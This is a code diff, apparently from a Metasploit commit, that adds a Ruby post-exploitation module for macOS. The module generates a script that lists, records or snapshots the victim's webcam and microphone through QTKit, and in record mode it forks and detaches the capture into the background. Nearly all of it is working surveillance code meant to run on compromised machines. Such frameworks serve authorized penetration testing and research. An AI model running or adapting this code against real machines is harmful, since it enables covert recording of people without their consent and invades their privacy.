1
+ module Msf
2
+ class Post
3
+ module OSX
4
+ module RubyDL
5
+ def osx_ruby_dl_header
6
+ <<-EOS
7
+ require 'dl'
8
+ require 'dl/import'
9
+
10
+ #### Patches to DL (for compatibility between 1.8->1.9)
11
+
12
+ Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
13
+
14
+ def ruby_1_9_or_higher?
15
+ RUBY_VERSION.to_f >= 1.9
16
+ end
17
+
18
+ def malloc(size)
19
+ if defined?(DL::CPtr)
20
+ DL::CPtr.malloc(size)
21
+ else
22
+ DL::malloc(size)
23
+ end
24
+ end
25
+
26
+ # the old Ruby Importer defaults methods to downcase every import
27
+ # This is annoying, so we'll patch with method_missing
28
+ if not ruby_1_9_or_higher?
29
+ module DL
30
+ module Importable
31
+ def method_missing(meth, *args, &block)
32
+ str = meth.to_s
33
+ lower = str[0,1].downcase + str[1..-1]
34
+ if self.respond_to? lower
35
+ self.send lower, *args
36
+ else
37
+ super
38
+ end
39
+ end
40
+ end
41
+ end
42
+ end
43
+ EOS
44
+ end
45
+
46
+ def osx_capture_media ( opts )
47
+ capture_code = <<-EOS
48
+ #{ osx_ruby_dl_header }
49
+
50
+ options = {
51
+ :action => '#{ opts [ :action ] } ', # or list|snapshot|record
52
+ :snap_filetype => '#{ opts [ :snap_filetype ] } ', # jpg|png|gif|tiff|bmp
53
+ :audio_enabled => #{ opts [ :audio_enabled ] } ,
54
+ :video_enabled => #{ opts [ :video_enabled ] } ,
55
+ :num_chunks => #{ opts [ :num_chunks ] } , # wachawa!
56
+ :chunk_len => #{ opts [ :chunk_len ] } , # save chunks every 5 seconds
57
+ :video_device => #{ opts [ :video_device ] } , # automatic
58
+ :audio_device => #{ opts [ :audio_device ] } ,
59
+ :snap_jpg_compression => #{ opts [ :snap_jpg_compression ] } , # compression ratio (between 0 & 1), JPG ONLY
60
+ :video_compression => '#{ opts [ :video_compression ] } ',
61
+ :audio_compression => '#{ opts [ :audio_compression ] } ',
62
+ :record_file => '#{ opts [ :record_file ] } ',
63
+ :snap_file => '#{ opts [ :snap_file ] } '
64
+ }
65
+
66
+ RUN_LOOP_STEP = 0.1 # "tick" duration for spinning NSRunLoop
67
+
68
+ # NSTIFFFileType 0
69
+ # NSBMPFileType 1
70
+ # NSGIFFileType 2
71
+ # NSJPEGFileType 3
72
+ # NSPNGFileType 4
73
+ SNAP_FILETYPES = %w(tiff bmp gif jpg png)
74
+
75
+ snap_filetype_index = SNAP_FILETYPES.index(options[:snap_filetype].to_s)
76
+
77
+ require 'fileutils'
78
+ FileUtils.mkdir_p File.dirname(options[:record_file])
79
+ FileUtils.mkdir_p File.dirname(options[:snap_file])
80
+
81
+ #### Helper methods for objc message passing
82
+
83
+ if not ruby_1_9_or_higher?
84
+ # ruby < 1.9 freaks when you send int -> void* or flout -> void*
85
+ # so we have to reload the lib into separate modules with different
86
+ # exported typedefs, and patch objc_call to do our own typechecking.
87
+ # this can probably be done better.
88
+ module LibCWithInt
89
+ extend Importer
90
+ dlload 'libSystem.B.dylib'
91
+ extern 'void *sel_getUid(void*)'
92
+ extern 'void *objc_msgSend(void *, void *, int, int)'
93
+ end
94
+ module LibCWithFloat
95
+ extend Importer
96
+ dlload 'libSystem.B.dylib'
97
+ extern 'void *sel_getUid(void*)'
98
+ extern 'void *objc_msgSend(void *, void *, double, double)'
99
+ end
100
+ module LibCWithVoidPtrInt
101
+ extend Importer
102
+ dlload 'libSystem.B.dylib'
103
+ extern 'void *sel_getUid(void*)'
104
+ extern 'void *objc_msgSend(void *, void *, void*, int)'
105
+ end
106
+ module LibCWithIntVoidPtr
107
+ extend Importer
108
+ dlload 'libSystem.B.dylib'
109
+ extern 'void *sel_getUid(void*)'
110
+ extern 'void *objc_msgSend(void *, void *, int, void*)'
111
+ end
112
+ end
113
+
114
+
115
+ def objc_call(instance, method, arg=nil, arg2=nil)
116
+ # ruby < 1.9 freaks when you send int -> void* or flout -> void*
117
+ # so we have to reload the lib into a separate with different exported typedefs,
118
+ # and call
119
+ if not ruby_1_9_or_higher? and arg.kind_of?(Integer)
120
+ if not arg2.kind_of?(Integer) and not arg2.nil?
121
+ LibCWithIntVoidPtr.objc_msgSend(instance, LibCWithIntVoidPtr.sel_getUid(method), arg||0, arg2)
122
+ else
123
+ LibCWithInt.objc_msgSend(instance, LibCWithInt.sel_getUid(method), arg||0, arg2||0)
124
+ end
125
+ elsif not ruby_1_9_or_higher? and arg2.kind_of?(Integer)
126
+ LibCWithVoidPtrInt.objc_msgSend(instance, LibCWithVoidPtrInt.sel_getUid(method), arg||0, arg2)
127
+ elsif not ruby_1_9_or_higher? and arg.kind_of?(Float)
128
+ LibCWithFloat.objc_msgSend(instance, LibCWithFloat.sel_getUid(method), arg||0.0, arg2||0.0)
129
+ else
130
+ QTKit.objc_msgSend(instance, QTKit.sel_getUid(method), arg, arg2)
131
+ end
132
+ end
133
+
134
+ def objc_call_class(klass, method, arg=nil, arg2=nil)
135
+ objc_call(QTKit.objc_getClass(klass), QTKit.sel_getUid(method), arg, arg2)
136
+ end
137
+
138
+ def nsstring(str)
139
+ objc_call(objc_call(objc_call_class(
140
+ 'NSString', 'alloc'),
141
+ 'initWithCString:', str),
142
+ 'autorelease')
143
+ end
144
+
145
+
146
+ #### External dynamically linked code
147
+
148
+ VID_TYPE = 'vide'
149
+ MUX_TYPE = 'muxx'
150
+ AUD_TYPE = 'soun'
151
+
152
+ module QTKit
153
+ extend Importer
154
+ dlload 'QTKit.framework/QTKit'
155
+ extern 'void *objc_msgSend(void *, void *, void *, void*)'
156
+ extern 'void *sel_getUid(void*)'
157
+ extern 'void *objc_getClass(void *)'
158
+ end
159
+
160
+ #### Actual Webcam code
161
+ autorelease_pool = objc_call_class('NSAutoreleasePool', 'new')
162
+
163
+ vid_type = nsstring(VID_TYPE)
164
+ mux_type = nsstring(MUX_TYPE)
165
+ aud_type = nsstring(AUD_TYPE)
166
+
167
+ devices_ref = objc_call_class('QTCaptureDevice', 'inputDevices')
168
+ device_count = objc_call(devices_ref, 'count').to_i
169
+ if device_count.zero? and not options[:actions] =~ /list/i
170
+ raise "Invalid device. Check devices with `set ACTION LIST`. Exiting."
171
+ exit
172
+ end
173
+
174
+ device_enum = objc_call(devices_ref, 'objectEnumerator')
175
+ devices = (0...device_count).
176
+ map { objc_call(device_enum, 'nextObject') }.
177
+ select do |device|
178
+ vid = objc_call(device, 'hasMediaType:', vid_type).to_i > 0
179
+ mux = objc_call(device, 'hasMediaType:', mux_type).to_i > 0
180
+ vid or mux
181
+ end
182
+
183
+ device_enum = objc_call(devices_ref, 'objectEnumerator')
184
+ audio_devices = (0...device_count).
185
+ map { objc_call(device_enum, 'nextObject') }.
186
+ select { |d| objc_call(d, 'hasMediaType:', aud_type).to_i > 0 }
187
+
188
+ def device_names(devices)
189
+ devices.
190
+ map { |device| objc_call(device, 'localizedDisplayName') }.
191
+ map { |name| objc_call(name, 'UTF8String') }.
192
+ map(&:to_s)
193
+ end
194
+
195
+ def device_stati(devices)
196
+ devices.
197
+ map { |d| objc_call(d, 'isInUseByAnotherApplication').to_i > 0 }.
198
+ map { |b| if b then 'BUSY' else 'AVAIL' end }
199
+ end
200
+
201
+ def print_devices(devices)
202
+ device_names(devices).zip(device_stati(devices)).each_with_index do |d, i|
203
+ puts "\# {i}. \# {d[0]} [\# {d[1]}]"
204
+ end
205
+ end
206
+
207
+ def print_compressions(type)
208
+ compressions = objc_call_class('QTCompressionOptions',
209
+ 'compressionOptionsIdentifiersForMediaType:', type)
210
+ count = objc_call(compressions, 'count').to_i
211
+ if count.zero?
212
+ puts "No supported compression types found."
213
+ else
214
+ comp_enum = objc_call(compressions, 'objectEnumerator')
215
+ puts((0...count).
216
+ map { objc_call(comp_enum, 'nextObject') }.
217
+ map { |c| objc_call(c, 'UTF8String').to_s }.
218
+ join("\n ")
219
+ )
220
+ end
221
+ end
222
+
223
+ def use_audio?(options)
224
+ options[:audio_enabled] and options[:action].to_s == 'record'
225
+ end
226
+
227
+ def use_video?(options)
228
+ (options[:video_enabled] and options[:action].to_s == 'record') or options[:action].to_s == 'snapshot'
229
+ end
230
+
231
+ if options[:action].to_s == 'list'
232
+ if options[:video_enabled]
233
+ puts "===============\n Video Devices:\n ===============\n "
234
+ print_devices(devices)
235
+ puts "\n Available video compression types:\n \n "
236
+ print_compressions(vid_type)
237
+ end
238
+ puts "\n ===============\n Audio Devices:\n ===============\n "
239
+ print_devices(audio_devices)
240
+ puts "\n Available audio compression types:\n \n "
241
+ print_compressions(aud_type)
242
+ exit
243
+ end
244
+
245
+ # Create a session to add I/O to
246
+ session = objc_call_class('QTCaptureSession', 'new')
247
+
248
+ # open the AV devices
249
+ if use_video?(options)
250
+ video_device = devices[options[:video_device]]
251
+ if not objc_call(video_device, 'open:', nil).to_i > 0
252
+ raise 'Failed to open video device'
253
+ end
254
+ input = objc_call_class('QTCaptureDeviceInput', 'alloc')
255
+ input = objc_call(input, 'initWithDevice:', video_device)
256
+ objc_call(session, 'addInput:error:', input, nil)
257
+ end
258
+
259
+ if use_audio?(options)
260
+ # open the audio device
261
+ audio_device = audio_devices[options[:audio_device]]
262
+ if not objc_call(audio_device, 'open:', nil).to_i > 0
263
+ raise 'Failed to open audio device'
264
+ end
265
+ input = objc_call_class('QTCaptureDeviceInput', 'alloc')
266
+ input = objc_call(input, 'initWithDevice:', audio_device)
267
+ objc_call(session, 'addInput:error:', input, nil)
268
+ end
269
+
270
+ # initialize file output
271
+ record_file = options[:record_file]
272
+ output = objc_call_class('QTCaptureMovieFileOutput', 'new')
273
+ file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
274
+ objc_call(output, 'recordToOutputFileURL:', file_url)
275
+ objc_call(session, 'addOutput:error:', output, nil)
276
+
277
+ # set up video/audio compression options
278
+ connection = nil
279
+ connection_enum = objc_call(objc_call(output, 'connections'), 'objectEnumerator')
280
+
281
+ while (connection = objc_call(connection_enum, 'nextObject')).to_i > 0
282
+ media_type = objc_call(connection, 'mediaType')
283
+
284
+ compress_opts = if objc_call(media_type, 'isEqualToString:', vid_type).to_i > 0 ||
285
+ objc_call(media_type, 'isEqualToString:', mux_type).to_i > 0
286
+ objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
287
+ nsstring(options[:video_compression]))
288
+ elsif use_audio?(options) and objc_call(media_type, 'isEqualToString:', aud_type).to_i > 0
289
+ objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
290
+ nsstring(options[:audio_compression]))
291
+ end
292
+
293
+ unless compress_opts.to_i.zero?
294
+ objc_call(output, 'setCompressionOptions:forConnection:', compress_opts, connection)
295
+ end
296
+ end
297
+
298
+ # start capturing from the webcam
299
+ objc_call(session, 'startRunning')
300
+
301
+ # we use NSRunLoop, which allows QTKit to spin its thread? somehow it is needed.
302
+ run_loop = objc_call_class('NSRunLoop', 'currentRunLoop')
303
+
304
+ # wait until at least one frame has been captured
305
+ while objc_call(output, 'recordedFileSize').to_i < 1
306
+ time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
307
+ objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
308
+ end
309
+
310
+ if options[:action] == 'record' # record in a loop for options[:record_len] seconds
311
+ curr_chunk = 0
312
+ last_roll = Time.now
313
+ # wait until at least one frame has been captured
314
+ while curr_chunk < options[:num_chunks]
315
+ time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
316
+ objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
317
+
318
+ if Time.now - last_roll > options[:chunk_len].to_i # roll that movie file
319
+ base = File.basename(record_file, '.*') # returns it with no extension
320
+ num = ((base.match(/\\ d+$/)||['0'])[0].to_i+1).to_s
321
+ ext = File.extname(record_file) || 'o'
322
+ record_file = File.join(File.dirname(record_file), base+num+'.'+ext)
323
+
324
+ # redirect buffer output to new file path
325
+ file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
326
+ objc_call(output, 'recordToOutputFileURL:', file_url)
327
+ # remember we hit a chunk
328
+ last_roll = Time.now
329
+ curr_chunk += 1
330
+ end
331
+ end
332
+ end
333
+
334
+ # stop recording and stop session
335
+ objc_call(output, 'recordToOutputFileURL:', nil)
336
+ objc_call(session, 'stopRunning')
337
+
338
+ # give QTKit some time to write to file
339
+ objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
340
+
341
+ if options[:action] == 'snapshot' # user wants a snapshot
342
+ # read captured movie file into QTKit
343
+ dict = objc_call_class('NSMutableDictionary', 'dictionary')
344
+ objc_call(dict, 'setObject:forKey:', nsstring('NSImage'), nsstring('QTMovieFrameImageType'))
345
+ # grab a frame image from the move
346
+ m = objc_call_class('QTMovie', 'movieWithFile:error:', nsstring(options[:record_file]), nil)
347
+ img = objc_call(m, 'currentFrameImage')
348
+ # set compression options
349
+ opts = objc_call_class('NSDictionary', 'dictionaryWithObject:forKey:',
350
+ objc_call_class('NSNumber', 'numberWithFloat:', options[:snap_jpg_compression]),
351
+ nsstring('NSImageCompressionFactor')
352
+ )
353
+ # convert to desired format
354
+ bitmap = objc_call(objc_call(img, 'representations'), 'objectAtIndex:', 0)
355
+ data = objc_call(bitmap, 'representationUsingType:properties:', snap_filetype_index, opts)
356
+ objc_call(data, 'writeToFile:atomically:', nsstring(options[:snap_file]), 0)
357
+
358
+ objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
359
+
360
+ # # delete the original movie file
361
+ File.delete(options[:record_file])
362
+ end
363
+
364
+ objc_call(autorelease_pool, 'drain')
365
+
366
+ EOS
367
+ if opts [ :action ] == 'record'
368
+ capture_code = %Q|
369
+ cpid = fork do
370
+ #{ capture_code }
371
+ end
372
+ Process.detach(cpid)
373
+ puts cpid
374
+ |
375
+ end
376
+ capture_code
377
+ end
378
+ end
379
+
380
+ end
381
+ end
382
+ end
0 commit comments